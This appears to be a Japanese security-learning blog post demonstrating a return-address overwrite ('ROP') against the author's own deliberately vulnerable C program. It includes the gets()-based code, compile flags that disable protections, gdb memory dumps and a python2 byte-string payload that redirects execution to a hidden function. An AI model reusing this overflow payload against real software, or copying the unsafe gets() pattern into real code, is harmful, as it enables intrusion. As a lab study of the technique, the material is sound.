見出し画像

#53 ROP

 ワールドカップ、盛り上がりますね。コスタリカ戦を落としたのは痛すぎる…

 以前、Buffer Overflowについての記事を書きました。古典的な攻撃方法で任意のコードが実行可能であることを解説しました。当然、この手の攻撃には対策が施されています。しかし、悪は滅びず。さらに高度な攻撃方法が編み出されています。
 Return Oriented Programing (ROP)はその一つです。ROPでは、シェルコードの注入を行わず、すでにプログラム内に存在するコード断片をつなぎ合わせて攻撃を実現します。より具体的には、Buffer Overflowを利用してスタックを綿密に積み上げ、関数の戻り先をコントロールします。


目標

ROPを理解する

簡単なCプログラムを攻撃してみます。


作業

 まずは、攻撃対象のプログラムです。

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buf[10];

    printf("Enter: ");
    gets(buf);

    return 0;
}


int log_message(char *message) {
    printf("%s\n", message);

    return 0;
}

int secret() {
    char password[18] = "secret_password";
    printf("%s\n", password);
    
    return 0;
}

main関数では使われていない、secret関数を実行してみます。引数が必要なlog_message関数も、うまくスタックを組めば実行できます。より実践的には、足し算や引き算などの細かい処理を次々とつなぎ合わせて任意の処理を実行することも可能です。

コンパイルします。

$ gcc -m32 -fno-stack-protector -no-pie -zexecstack -o rop rop.c

それでは、gdbで動作を見ながら攻略していきます。

$ gdb ./rop
gdb> b main
gdb> run

メモリの状態を見ると、0xffffd0b6に入力値が配置されています。

//入力前
$ x /200xffffd0b6
0xffffd0b6:	0xeb10f7fb	0x0001f7fb	0xd0e00000	0x2000ffff
0xffffd0c6:	0xd020f7fa	0xd519f7ff	0xd357f7d9	0x0070ffff
0xffffd0d6:	0xd0000000	0xd519f7ff	0x0001f7d9	0xd1940000
0xffffd0e6:	0xd19cffff	0xd100ffff	0x2000ffff	0x9196f7fa
0xffffd0f6:	0x00010804	0xd1940000	0x2000ffff	0xd194f7fa

//aを20文字入力
x /200xffffd0b6
0xffffd0b6:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffd0c6:	0x61616161	0xd519f700	0xd357f7d9	0x0070ffff
0xffffd0d6:	0xd0000000	0xd519f7ff	0x0001f7d9	0xd1940000
0xffffd0e6:	0xd19cffff	0xd100ffff	0x2000ffff	0x9196f7fa
0xffffd0f6:	0x00010804	0xd1940000	0x2000ffff	0xd194f7fa

もともとのmain関数の戻り先は、0xffffd0daに配置されている0xd519f7ffなので、これを書き換えてsecret関数の先頭を指すようにします。

つまり、

スタックを壊さないバイト列 + secret関数の開始アドレス + もとのmain関数の戻り先

とすれば、main -> secret -> exitとすることができるでしょう。
secret関数の開始アドレスは、0x0804920eなので、入力値は以下のようになります。

(python2 -c 'print("\xfb\xf7\x10\xeb\xfb\xf7\x01\x00\x00\x00\xe0\xd0\xff\xff\x00\x20\xfa\xf7\x20\xd0\xff\xf7\x19\xd5\xd9\xf7\x57\xd3\xff\xff\x70\x00\x00\x00\x00\xd0\xff\xf7" + "\x0e\x92\x04\x08" + "\x19\xd5\xd9\xf7")')

まあこんな長ったらしいバイト列を見ても面白くないので、試してみましょう。

$ run < <(python2 -c 'print("\xfb\xf7\x10\xeb\xfb\xf7\x01\x00\x00\x00\xd0\xd0\xff\xff\x00\x20\xfa\xf7\x20\xd0\xff\xf7\x19\xd5\xd9\xf7\x43\xd3\xff\xff\x70\x00\x00\x00\x00\xd0\xff\xf7" + "\x0e\x92\x04\x08" + "\x19\xd5\xd9\xf7")')
Starting program: /home/kusa/Projects/OWOP/ROP/target < <(python2 -c 'print("\xfb\xf7\x10\xeb\xfb\xf7\x01\x00\x00\x00\xd0\xd0\xff\xff\x00\x20\xfa\xf7\x20\xd0\xff\xf7\x19\xd5\xd9\xf7\x43\xd3\xff\xff\x70\x00\x00\x00\x00\xd0\xff\xf7" + "\x0e\x92\x04\x08" + "\x19\xd5\xd9\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter: secret_password
[Inferior 1 (process 9139) exited normally]
Warning: not running

"Enter:" のあとに"secret_password"と出力されているのがわかります。gdbでなくシェルで実行する場合は、OSの設定や環境変数によってスタックがずれることがあるため、なかなかうまくいきません。


まとめ

 今回は簡単な実験でしたが、この技術をさらに応用すれば危険なことができるのは理解できました。ROPは、攻撃方法としてかなり洗練されていますが、どのような対策があるのでしょうか。32bitのプログラムばかり扱ってきましたが、64bitでも同様に攻撃がささるのでしょうか。深堀していきたい分野です。

EOF

この記事が気に入ったらサポートをしてみませんか?